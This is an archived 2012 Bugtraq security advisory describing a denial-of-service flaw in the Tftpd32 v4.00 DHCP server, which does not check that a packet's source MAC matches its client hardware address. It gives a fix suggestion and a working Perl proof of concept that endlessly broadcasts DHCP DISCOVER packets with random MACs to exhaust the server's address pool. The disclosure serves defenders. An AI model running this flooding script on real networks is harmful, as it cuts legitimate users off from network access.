bugtraq - Tftpd32 DHCP Server Denial Of Service Vulnerability

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Message-Id: <201205211405.q4LE5bXU029751@sf01web3.securityfocus.com>
Date: Mon, 21 May 2012 14:05:37 GMT
From: demonalex@....com
To: bugtraq@...urityfocus.com
Subject: Tftpd32 DHCP Server Denial Of Service Vulnerability

Title: Tftpd32 DHCP Server Denial Of Service Vulnerability
Software : Tftpd32

Software Version : v4.00

Vendor: http://tftpd32.jounin.net/ 

Vulnerability Published : 2012-05-21

Vulnerability Update Time :

Status : 

Impact : Medium(CVSS2 Base : 5.0, AV:N/AC:L/Au:N/C:N/I:N/A:P)

Bug Description :
Tftpd32 is a free tftp and dhcp server for windows, freeware tftp server.
The tftpd32's dhcp server does not identify whether the real source mac address of dhcp discover packet is the same as client hardware address in payload of 

dhcp discover packet, so that attacker can makes evil dhcp discover packets to cram dhcp client list of the dhcp server, and then no one can gain ip address 

from the dhcp server.

Solution :
Like the other dhcp server, the tftpd32's dhcp server can drop the dhcp discover packet when it was detected the different between source mac address of dhcp 

discover packet and client hardware address in payload of dhcp discover packet.

Proof Of Concept :
-----------------------------------------------------------
#!/usr/bin/perl
use IO::Socket::INET;
use Net::DHCP::Packet;
use Net::DHCP::Constants;
$a=1;
while(1){
	print "\Request Number : $a\n";

    	$mac=int(rand(9)).int(rand(9)).int(rand(9)).int(rand(9)).int(rand(9)).int(rand(9)).
	int(rand(9)).int(rand(9)).int(rand(9)).int(rand(9)).int(rand(9)).int(rand(9));

    	$socket = IO::Socket::INET->new( Proto => 'udp',
    	Broadcast => 1,
    	LocalPort => 68,
    	PeerAddr =>'255.255.255.255',
    	PeerPort => 67,
    	) || die "Unable to create socket: $@\n";
    
    	$discover = Net::DHCP::Packet->new(
    	xid => int rand(0xFFFFFFFF),
    	Chaddr => $mac,
    	DHO_DHCP_MESSAGE_TYPE() => DHCPDISCOVER(),
    	DHO_VENDOR_CLASS_IDENTIFIER() => 'MyVendorClassID',
    	DHO_DHCP_PARAMETER_REQUEST_LIST() => '1 2 6 12 15 28 67');

    	$discover->addOptionRaw( 61, pack('H*',$mac));
    
    	print "Sending DISCOVER to 255.255.255.255:67\n";
    
    	$socket->send( $discover->serialize() ) or die "Unable to send Discover:$!\n";
    
    	$socket->close();
    
    	sleep(3);

    	$a++;
}
exit(1);
-----------------------------------------------------------

Credits : This vulnerability was discovered by demonalex(at)163(dot)com
mail: demonalex(at)163(dot)com / ChaoYi.Huang@...nect.polyu.hk
Pentester/Researcher
Dark2S Security Team/PolyU.HK